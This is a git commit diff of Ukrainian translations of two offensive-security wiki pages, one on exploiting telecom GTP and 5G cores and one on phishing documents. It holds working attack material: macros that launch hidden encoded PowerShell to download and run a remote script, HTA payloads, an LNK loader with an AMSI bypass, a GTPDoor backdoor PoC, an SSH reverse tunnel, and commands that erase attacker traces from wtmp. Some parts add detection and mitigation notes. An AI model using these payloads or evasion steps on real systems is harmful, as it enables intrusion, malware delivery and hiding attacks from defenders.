Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-09-07 22:17:29 +00:00
parent 5180e63350
commit 0727e9e1be
3 changed files with 176 additions and 167 deletions

View File

@ -1,27 +1,27 @@
# Експлуатація телекомунікаційних мереж (GTP / Roaming Environments)
# Експлуатація телеком-мереж (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Протоколи ядра мобільних мереж (GPRS Tunnelling Protocol GTP) часто проходять через напівдоверені GRX/IPX roaming backbones. Оскільки вони передаються по plain UDP з майже відсутньою автентифікацією, **будь-яка опора всередині периметру оператора зазвичай може безпосередньо дістатися до центральних signalling planes**. Наступні нотатки збирають offensive tricks, спостережувані в реальному житті проти SGSN/GGSN, PGW/SGW та інших EPC вузлів.
> Протоколи мобільного ядра (GPRS Tunnelling Protocol GTP) часто проходять через напівдовірені роумінгові магістралі GRX/IPX. Оскільки вони передаються по plain UDP з майже відсутньою автентифікацією, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. Нижченаведені нотатки зібрані для опису offensive tricks, спостережених у реальних атаках проти SGSN/GGSN, PGW/SGW та інших EPC nodes.
## 1. Розвідка та початковий доступ
## 1. Recon & Initial Access
### 1.1 За замовчуванням OSS / NE облікові записи
Дивно велика кількість елементів мережі від вендорів постачається з вбудованими SSH/Telnet обліковими записами, такими як `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Наявність спеціалізованого wordlist значно підвищує успіх brute-force:
### 1.1 Default OSS / NE Accounts
Дивно велика кількість мережевих елементів від постачальників постачається з жорстко закодованими SSH/Telnet акаунтами, такими як `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Спеціалізований wordlist значно підвищує успіх brute-force:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Якщо пристрій відкриває лише management VRF, спочатку зробіть pivot через jump host (див. розділ «SGSN Emu Tunnel» нижче).
### 1.2 Виявлення хостів у GRX/IPX
Більшість операторів GRX досі дозволяють **ICMP echo** через магістраль. Поєднайте `masscan` з вбудованими UDP-пробами `gtpv1`, щоб швидко замапити GTP-C listeners:
### 1.2 Виявлення хостів всередині GRX/IPX
Більшість операторів GRX все ще дозволяють **ICMP echo** через backbone. Поєднуйте `masscan` з вбудованими UDP-пробами `gtpv1`, щоб швидко виявити GTP-C listeners:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Перелічення абонентів `cordscan`
## 2. Перебір абонентів `cordscan`
Наступний інструмент на Go формує пакети **GTP-C Create PDP Context Request** і записує відповіді. Кожна відповідь виявляє поточний **SGSN / MME**, що обслуговує запитаний IMSI, а інколи — відвідану PLMN абонента.
Наведений нижче інструмент на Go формує пакети **GTP-C Create PDP Context Request** та логує відповіді. Кожна відповідь виявляє поточний **SGSN / MME**, що обслуговує запитуваний IMSI, а іноді — і відвідану PLMN абонента.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -31,20 +31,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
```
Ключові прапори:
- `--imsi` Цільовий IMSI абонента
- `--oper` Домашній / HNI (MCC+MNC)
- `-w` Записувати raw-пакети у pcap
- `--oper` домашня мережа / HNI (MCC+MNC)
- `-w` Записувати сирі пакети у pcap
Важливі константи всередині бінарного файлу можна запатчити, щоб розширити сканування:
Важливі константи всередині бінарного файлу можна змінити, щоб розширити сканування:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Code Execution over GTP `GTPDoor`
## 3. Виконання коду через GTP `GTPDoor`
`GTPDoor`невеликий ELF-сервіс, який **прив'язується до UDP 2123 і розбирає кожний вхідний GTP-C пакет**. Коли payload починається з pre-shared tag, решта розшифровується (AES-128-CBC) і виконується через `/bin/sh -c`. stdout/stderr ексфільтруються всередині повідомлень **Echo Response**, тож жодна зовнішня сесія ніколи не створюється.
`GTPDoor`крихітна ELF-служба, яка прив’язує сокет до порту UDP 2123 і розбирає кожен вхідний GTP-C пакет. Коли payload починається з pre-shared tag, решта розшифровується (AES-128-CBC) і виконується через `/bin/sh -c`. stdout/stderr exfiltrated inside **Echo Response** messages, тож жодна зовнішня сесія не створюється.
Minimal PoC packet (Python):
Мінімальний PoC пакет (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
@ -52,40 +52,40 @@ cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detection:
* будь-який host, що надсилає **unbalanced Echo Requests** на SGSN IPs
* GTP version flag set to 1 while message type = 1 (Echo) відхилення від специфікації
Виявлення:
* будь-який хост, який надсилає **unbalanced Echo Requests** до IP-адрес SGSN
* GTP version flag встановлено в 1, тоді як message type = 1 (Echo) відхилення від специфікації
## 4. Pivoting через ядро
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` постачається з емулятором SGSN, здатним **establish a PDP context towards a real GGSN/PGW**. Після узгодження Linux отримує новий інтерфейс `tun0`, доступний з боку roaming peer.
`OsmoGGSN` містить емулятор SGSN, здатний **встановити PDP context до реального GGSN/PGW**. Після узгодження Linux отримує новий інтерфейс `tun0`, доступний з боку роумінг-піра.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
При належному firewall hair-pinning цей тунель обходить signalling-only VLANs і потрапляє безпосередньо в **data plane**.
При належному firewall hair-pinning цей тунель обходить signalling-only VLANs і потрапляєте безпосередньо в **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53
DNS майже завжди відкритий у роумінгових інфраструктурах. Відкрийте внутрішній SSH-сервіс на вашому VPS, що слухає порт :53, і підключіться пізніше з дому:
DNS майже завжди відкритий у роумінгових інфраструктурах. Експонуйте внутрішній SSH-сервіс на ваш VPS, що слухає на :53, і поверніться пізніше додому:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Переконайтеся, що `GatewayPorts yes` увімкнено на VPS.
Перевірте, що `GatewayPorts yes` увімкнено на VPS.
## 5. Приховані канали
| Канал | Транспорт | Декодування | Примітки |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | чисто пасивний прослуховувач, без вихідного трафіку |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | слідкує за піддоменом `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | маскується під легітимний GTP-C трафік |
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | повністю пасивний слухач, без вихідного трафіку |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | стежить за `*.nodep` піддоменом |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | зливається з легітимним GTP-C чатом |
Усі імпланти реалізують watchdogs, які **timestomp** їхні бінарні файли та перезапускаються у разі збою.
Усі implants реалізують watchdogs, які **timestomp** їхні binaries та re-spawn у разі збою.
## 6. Шпаргалка з ухилення від захисту
## 6. Defense Evasion Cheatsheet
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -116,74 +116,74 @@ python3 exploit_userspec.py
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Tool Box
## 8. Набір інструментів
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` власні інструменти, описані в попередніх розділах.
* `FScan` : сканування TCP у локальній мережі (`fscan -p 22,80,443 10.0.0.0/24`)
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` кастомні інструменти, описані в попередніх розділах.
* `FScan` : сканування TCP у внутрішній мережі (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : легке SOCKS5 pivoting
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
## 9. Атаки на реєстрацію 5G NAS: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Процедура реєстрації 5G виконується поверх NAS (Non-Access Stratum) на базі NGAP. Поки NAS security не активовано через Security Mode Command/Complete, початкові повідомлення не автентифіковані і не зашифровані. Це вікно перед активацією безпеки відкриває кілька векторів атаки, якщо ви можете спостерігати або змінювати трафік N2 (наприклад, on-path всередині core, rogue gNB або тестовий стенд).
Процедура реєстрації 5G виконується через NAS (Non-Access Stratum) поверх NGAP. До того, як NAS безпеку буде активовано через Security Mode Command/Complete, початкові повідомлення не автентифіковані та не зашифровані. Це вікно перед активацією безпеки відкриває кілька шляхів атаки, якщо ви можете спостерігати або модифікувати N2 трафік (наприклад, on-path всередині core, rogue gNB або тестовий стенд).
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Потік реєстрації (спрощено):
- Registration Request: UE надсилає SUCI (зашифрований SUPI) та capabilities.
- Authentication: AMF/AUSF надсилають RAND/AUTN; UE повертає RES*.
- Security Mode Command/Complete: узгоджуються та активуються NAS integrity та ciphering.
- PDU Session Establishment: налаштування IP/QoS.
Lab setup tips (non-RF):
- Core: Open5GS default deployment is sufficient to reproduce flows.
- UE: simulator or test UE; decode using Wireshark.
- Active tooling: 5GReplay (захоплення/модифікація/повторна відправка NAS в рамках NGAP), Sni5Gect (підслухати/запатчити/вставити NAS на льоту без підняття повного rogue gNB).
- Useful display filters in Wireshark:
Поради щодо налаштування лабораторії (без RF):
- Core: стандартне розгортання Open5GS достатнє для відтворення потоків.
- UE: симулятор або тестовий UE; декодуйте за допомогою Wireshark.
- Активні інструменти: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Корисні фільтри відображення у Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Expected: UE/USIM must transmit SUCI (SUPI encrypted with the home-network public key). Finding a plaintext SUPI/IMSI in the Registration Request indicates a privacy defect enabling persistent subscriber tracking.
### 9.1 Приватність ідентифікаторів: SUCI failures exposing SUPI/IMSI
Очікування: UE/USIM має передавати SUCI (SUPI, зашифрований відкритим ключем домашньої мережі). Знаходження відкритого SUPI/IMSI у Registration Request вказує на дефект приватності, який дозволяє постійне відстеження абонента.
How to test:
- Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
- Wireshark quick checks:
- It should decode as SUCI, not IMSI.
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates витік.
Як тестувати:
- Захопіть перше NAS повідомлення в InitialUEMessage і проінспектуйте Mobile Identity IE.
- Швидкі перевірки у Wireshark:
- Пакет має декодуватися як SUCI, а не IMSI.
- Приклади фільтрів: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` має існувати; відсутність разом із присутністю `imsi` вказує на leak.
What to collect:
- MCC/MNC/MSIN if exposed; log per-UE and track across time/locations.
Що збирати:
- MCC/MNC/MSIN, якщо вони витікають; логувати по UE та відстежувати у часі/локаціях.
Mitigation:
- Enforce SUCI-only UEs/USIMs; alert on any IMSI/SUPI in initial NAS.
Міри захисту:
- Забезпечити SUCI-only UEs/USIMs; сповіщати про будь-який IMSI/SUPI у початковому NAS.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE advertises supported EEA (encryption) and EIA (integrity) in the UE Security Capability IE of the Registration Request.
- Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms.
### 9.2 Відкат можливостей (capability bidding-down) до нульових алгоритмів (EEA0/EIA0)
Передумови:
- UE рекламує підтримувані EEA (шифрування) та EIA (цілісність) у UE Security Capability IE реєстраційного запиту.
- Типові відповідності: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 — нульові алгоритми.
Issue:
- Because the Registration Request is not integrity protected, an on-path attacker can clear capability bits to coerce selection of EEA0/EIA0 later during Security Mode Command. Some stacks wrongly allow null algorithms outside emergency services.
Проблема:
- Оскільки Registration Request не має захисту цілісності, on-path attacker може очистити біти capability, щоб примусити вибір EEA0/EIA0 пізніше під час Security Mode Command. Деякі стеки помилково дозволяють нульові алгоритми поза екстреними сервісами.
Offensive steps:
- Intercept InitialUEMessage and modify the NAS UE Security Capability to advertise only EEA0/EIA0.
- With Sni5Gect, hook the NAS message and patch the capability bits before forwarding.
- Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.
Атакувальні кроки:
- Перехопіть InitialUEMessage і змініть NAS UE Security Capability так, щоб рекламувати лише EEA0/EIA0.
- За допомогою Sni5Gect підхопіть NAS повідомлення і патчіть біти capability перед пересиланням.
- Спостерігайте, чи AMF приймає нульові шифри/цілісність і завершить Security Mode з EEA0/EIA0.
Verification/visibility:
- In Wireshark, confirm selected algorithms after Security Mode Command/Complete.
- Example passive sniffer output:
Перевірка/видимість:
- У Wireshark підтвердіть обрані алгоритми після Security Mode Command/Complete.
- Приклад виводу пасивного сніффера:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Заходи пом'якшення (обов'язково):
- Налаштуйте AMF/policy так, щоб відкидати EEA0/EIA0, за винятком випадків, коли це суворо вимагається (наприклад, екстрені дзвінки).
- Віддавайте перевагу застосуванню EEA2/EIA2 як мінімум; фіксуйте в логах і піднімайте тривогу для будь-якого NAS security context, який погоджує null алгоритми.
- Налаштуйте AMF/policy відхиляти EEA0/EIA0, крім випадків, коли це суворо необхідно (наприклад, екстрені виклики).
- Віддавайте перевагу застосуванню EEA2/EIA2 як мінімум; логувати та піднімати тривогу для будь-якого контексту безпеки NAS, який узгоджує null algorithms.
### 9.3 Replay of initial Registration Request (pre-security NAS)
Оскільки початковий NAS не має цілісності та свіжості, захоплений InitialUEMessage+Registration Request можна відтворити (replay) і надіслати AMF.
### 9.3 Replay початкового Registration Request (pre-security NAS)
Оскільки початковий NAS не забезпечує цілісності та свіжості, перехоплений InitialUEMessage+Registration Request можна відтворити до AMF.
PoC rule for 5GReplay to forward matching replays:
```xml
@ -208,34 +208,34 @@ boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
На що звертати увагу:
- Чи приймає AMF replay і переходить до аутентифікації; відсутність перевірки свіжості/зв'язування контексту вказує на вразливість.
Що спостерігати:
- Чи приймає AMF повтор (replay) і переходить до Authentication; відсутність перевірки свіжості/контекстного зв'язування вказує на вразливість.
Заходи пом'якшення:
- Забезпечити захист від replay і зв'язування контексту на AMF; застосувати rate-limit і корелювати на рівні per-GNB/UE.
Mitigations:
- Забезпечити захист від replay/зв'язування контексту на боці AMF; обмежувати швидкість і корелювати за GNB/UE.
### 9.4 Tooling pointers (reproducible)
### 9.4 Поради по інструментах (відтворювані)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: у режимі live перехоплюйте/змінюйте/впроваджуйте в NAS control-plane, щоб примусити null алгоритми або порушити послідовності аутентифікації.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
### 9.5 Чекліст захисту
- Постійно інспектуйте Registration Request на предмет незашифрованих SUPI/IMSI; блокувати пристрої/USIMs, що порушують правила.
- Відхиляти EEA0/EIA0, за винятком чітко визначених аварійних процедур; вимагати як мінімум EEA2/EIA2.
- Виявляйте підроблену або некоректно сконфігуровану інфраструктуру: неавторизовані gNB/AMF, несподівані N2 peers.
- Генерувати оповіщення про NAS security modes, що призводять до null алгоритмів або частих повторів InitialUEMessage.
### 9.5 Контрольний список захисту
- Постійно інспектуйте Registration Request на предмет plaintext SUPI/IMSI; блокувати пристрої/USIMs, що порушують.
- Відкидати EEA0/EIA0, крім вузько визначених процедур екстрених випадків; вимагати принаймні EEA2/EIA2.
- Виявляти зловмисну або неправильно налаштовану інфраструктуру: неавторизовані gNB/AMF, несподівані N2 peers.
- Сигналізувати про NAS security modes, що призводять до null алгоритмів або частих повторів InitialUEMessage.
---
## Ідеї для виявлення
1. **Будь-який пристрій, відмінний від SGSN/GGSN, який встановлює Create PDP Context Requests**.
2. **Неандартні порти (53, 80, 443), що отримують SSH handshakes** з внутрішніх IP.
1. **Будь-який пристрій, відмінний від SGSN/GGSN, що встановлює Create PDP Context Requests**.
2. **Нестандартні порти (53, 80, 443), які отримують SSH handshakes** від внутрішніх IP.
3. **Часті Echo Requests без відповідних Echo Responses** може вказувати на GTPDoor beacons.
4. **Висока інтенсивність ICMP echo-reply трафіку з великими, ненульовими полями identifier/sequence**.
5. 5G: **InitialUEMessage, що містить NAS Registration Requests, повторювані з однакових кінцевих точок** (сигнал replay).
6. 5G: **NAS Security Mode, що погоджує EEA0/EIA0** поза аварійними контекстами.
4. **Високий рівень ICMP echo-reply трафіку з великими, ненульовими полями identifier/sequence**.
5. 5G: **InitialUEMessage, що несе NAS Registration Requests, повторювані з однакових кінцевих точок** (сигнал replay).
6. 5G: **NAS Security Mode, який узгоджує EEA0/EIA0** поза контекстом екстрених випадків.
## Посилання
## References
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)

View File

@ -1,40 +1,40 @@
# Phishing Файли та документи
# Phishing файли та документи
{{#include ../../banners/hacktricks-training.md}}
## Office документи
## Office Документи
Microsoft Word виконує перевірку даних файлу перед його відкриттям. Перевірка даних виконується шляхом ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає помилка, файл не буде відкрито.
Microsoft Word виконує перевірку даних файлу перед його відкриттям. Перевірка даних відбувається у вигляді ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає помилка, аналізований файл не буде відкрито.
Зазвичай файли Word, що містять макроси, мають розширення `.docm`. Однак можна перейменувати файл, змінивши розширення, і при цьому зберегти можливість виконання макросів.\
Наприклад, формат RTF за задумом не підтримує макроси, але DOCM-файл, перейменований у RTF, буде оброблений Microsoft Word і зможе виконувати макроси.\
Ті ж внутрішні механізми застосовуються до всіх програм Microsoft Office Suite (Excel, PowerPoint тощо).
Зазвичай файли Word, що містять макроси, використовують розширення `.docm`. Однак можна перейменувати файл, змінивши розширення, і при цьому зберегти можливість виконання макросів.\
Наприклад, файл RTF за своєю конструкцією не підтримує макроси, але файл DOCM, перейменований на RTF, буде оброблений Microsoft Word і зможе виконувати макроси.\
Ті самі внутрішні механізми застосовуються до всього програмного забезпечення Microsoft Office Suite (Excel, PowerPoint тощо).
Ви можете використати наступну команду, щоб перевірити, які розширення будуть виконуватися деякими програмами Office:
```bash
assoc | findstr /i "word excel powerp"
```
Файли DOCX, які посилаються на віддалений шаблон (File Options Add-ins Manage: Templates Go), що містить macros, також можуть виконувати macros.
Файли DOCX, що посилаються на віддалений шаблон (File Options Add-ins Manage: Templates Go), який містить макроси, також можуть «виконувати» макроси.
### Зовнішнє завантаження зображення
### Завантаження зовнішнього зображення
Перейдіть до: _Insert --> Quick Parts --> Field_\
_**Категорії**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
Перейдіть до: _Insert --> Quick Parts --> Field_\
_**Категорії**: Links and References, **Імена полів**: includePicture, and **Ім'я файлу або URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Macros Backdoor
### Бекдор через макроси
Можна використовувати macros для запуску довільного коду з документа.
За допомогою макросів можна запускати довільний код із документа.
#### Автозавантажувані функції
#### Функції автозавантаження
Чим частіше вони використовуються, тим вища ймовірність, що AV їх виявить.
Чим вони поширеніші, тим більша ймовірність, що AV їх виявить.
- AutoOpen()
- Document_Open()
#### Macros Code Examples
#### Приклади коду макросів
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -64,14 +64,14 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### Ручне видалення метаданих
#### Видалення метаданих вручну
Перейдіть до **File > Info > Inspect Document > Inspect Document**, що відкриє Document Inspector. Натисніть **Inspect**, а потім **Remove All** поруч із **Document Properties and Personal Information**.
Перейдіть в **File > Info > Inspect Document > Inspect Document**, що відкриє Document Inspector. Натисніть **Inspect**, а потім **Remove All** біля **Document Properties and Personal Information**.
#### Розширення документа
Коли закінчите, у випадаючому меню **Save as type** виберіть формат та змініть його з **`.docx`** на **Word 97-2003 `.doc`**.\
Робіть так, бо ви **не можете зберігати макроси всередині `.docx`** і існує певна **стигма** щодо макро-увімкненого розширення **`.docm`** (наприклад, значок мініатюри має великий `!`, і деякі web/email шлюзи повністю їх блокують). Тому це **застаріле розширення `.doc` є найкращим компромісом**.
Після закінчення виберіть випадачний список **Save as type**, змініть формат з **`.docx`** на **Word 97-2003 `.doc`**.\
Зробіть це, тому що **you can't save macro's inside a `.docx`** і на розширення макросів **`.docm`** є певна **стигма** (наприклад, у мініатюри великий `!` і деякі web/email шлюзи взагалі їх блокують). Тому це **legacy `.doc` extension — найкращий компроміс**.
#### Malicious Macros Generators
@ -79,11 +79,11 @@ proc.Create "powershell <beacon line generated>
- [**macphish**](https://github.com/cldrn/macphish)
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## Файли HTA
## HTA Files
HTA — це програма для Windows, яка **поєднує HTML та скриптові мови (такі як VBScript і JScript)**. Вона генерує інтерфейс користувача й виконується як «повністю довірений» застосунок, без обмежень моделі безпеки браузера.
HTA — це Windows-програма, що **поєднує HTML і скриптові мови (таких як VBScript і JScript)**. Вона формує інтерфейс користувача і виконується як «fully trusted» application, без обмежень моделі безпеки браузера.
HTA виконується за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом із **Internet Explorer**, через що **`mshta` залежить від IE**. Тому, якщо його було видалено, HTA не зможуть виконуватись.
HTA запускається за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом з **Internet Explorer**, через що **`mshta` залежить від IE**. Якщо його було видалено, HTA не зможуть виконуватись.
```html
<--! Basic HTA Execution -->
<html>
@ -138,11 +138,11 @@ var_func
self.close
</script>
```
## Примус NTLM-аутентифікації
## Примушення NTLM Authentication
Існує кілька способів **примусити NTLM-аутентифікацію "віддалено"**, наприклад, ви можете додати **невидимі зображення** в листи або HTML, до яких користувач звернеться (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, що **спровокує** **аутентифікацію** просто при **відкритті папки.**
Є кілька способів **force NTLM authentication "remotely"**, наприклад, ви можете додати **невидимі зображення** в електронні листи або HTML, які користувач відкриє (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, які **trigger** **authentication** просто при **відкритті папки.**
**Перегляньте ці ідеї та інші на наступних сторінках:**
**Перевірте ці ідеї та інше на наступних сторінках:**
{{#ref}}
@ -156,24 +156,24 @@ self.close
### NTLM Relay
Не забувайте, що ви можете не лише вкрасти хеш або аутентифікацію, але й виконати **NTLM relay attacks**:
Не забувайте, що ви можете не лише вкрасти hash або authentication, а й **perform NTLM relay attacks**:
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Дуже ефективні кампанії доставляють ZIP, який містить два легітимні підставні документи (PDF/DOCX) та шкідливий .lnk. Фішка в тому, що фактичний PowerShell loader зберігається всередині сирих байтів ZIP після унікального маркера, а .lnk витягує і запускає його повністю в пам'яті.
Дуже ефективні кампанії доставляють ZIP, який містить два легітимні підробні документи (PDF/DOCX) та шкідливий .lnk. Суть у тому, що фактичний PowerShell loader зберігається в сирих байтах ZIP після унікального маркера, а .lnk вирізає й запускає його повністю в пам'яті.
Типовий порядок, реалізований .lnk PowerShell one-liner:
Типовий сценарій, реалізований .lnk PowerShell one-liner:
1) Знайти оригінальний ZIP у звичних шляхах: Desktop, Downloads, Documents, %TEMP%, %ProgramData% та батьківська папка поточної робочої директорії.
2) Прочитати байти ZIP і знайти захардкожений маркер (наприклад, xFIQCV). Усе після маркера — це вбудований PowerShell payload.
3) Скопіювати ZIP у %ProgramData%, розпакувати там і відкрити підставний .docx, щоб виглядало легітимно.
1) Знайти оригінальний ZIP у поширених шляхах: Desktop, Downloads, Documents, %TEMP%, %ProgramData% та батьківська папка поточної робочої директорії.
2) Прочитати байти ZIP і знайти захардкоджений маркер (наприклад, xFIQCV). Все, що йде після маркера, — це вбудований PowerShell payload.
3) Скопіювати ZIP у %ProgramData%, розпакувати там і відкрити підробний .docx, щоб виглядати легітимно.
4) Обійти AMSI для поточного процесу: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Деобфускувати наступний етап (наприклад, видалити всі символи #) і виконати його в пам'яті.
5) Deobfuscate наступного етапу (наприклад, видалити всі символи #) та виконати його в пам'яті.
Приклад PowerShell-скелета для вирізання і запуску вбудованого етапу:
Example PowerShell skeleton to carve and run the embedded stage:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
@ -191,21 +191,30 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
Invoke-Expression $code
```
Примітки
- Доставка часто зловживає авторитетними субдоменами PaaS (наприклад, *.herokuapp.com) і може обмежувати доступ до payloads (подавати нешкідливі ZIPs залежно від IP/UA).
- На наступному етапі часто дешифрують base64/XOR shellcode і виконують його через Reflection.Emit + VirtualAlloc, щоб мінімізувати артефакти на диску.
- Доставлення часто зловживає авторитетними PaaS піддоменами (наприклад, *.herokuapp.com) і може обмежувати доступ до payloads (повертаючи benign ZIPs залежно від IP/UA).
- Наступний етап часто декодує base64/XOR shellcode і виконує його через Reflection.Emit + VirtualAlloc, щоб мінімізувати артефакти на диску.
Persistence used in the same chain
- COM TypeLib hijacking of the Microsoft Web Browser control так, щоб IE/Explorer або будь-який додаток, що вбудовує його, автоматично перезапускав payload. Див. деталі та готові до використання команди тут:
Техніки персистенції, що використовуються в тому ж ланцюгу
- COM TypeLib hijacking of the Microsoft Web Browser control так, щоб IE/Explorer або будь-який додаток, що його вбудовує, автоматично перезапускав payload. Див. деталі та готові до використання команди тут:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- ZIP files, що містять ASCII маркерний рядок (наприклад, xFIQCV), доданий до даних архіву.
- .lnk, який перераховує батьківські/користувацькі папки, щоб знайти ZIP і відкрити приманковий документ.
Пошук/IOCs
- ZIP-файли, що містять ASCII-маркер (наприклад, xFIQCV), доданий до даних архіву.
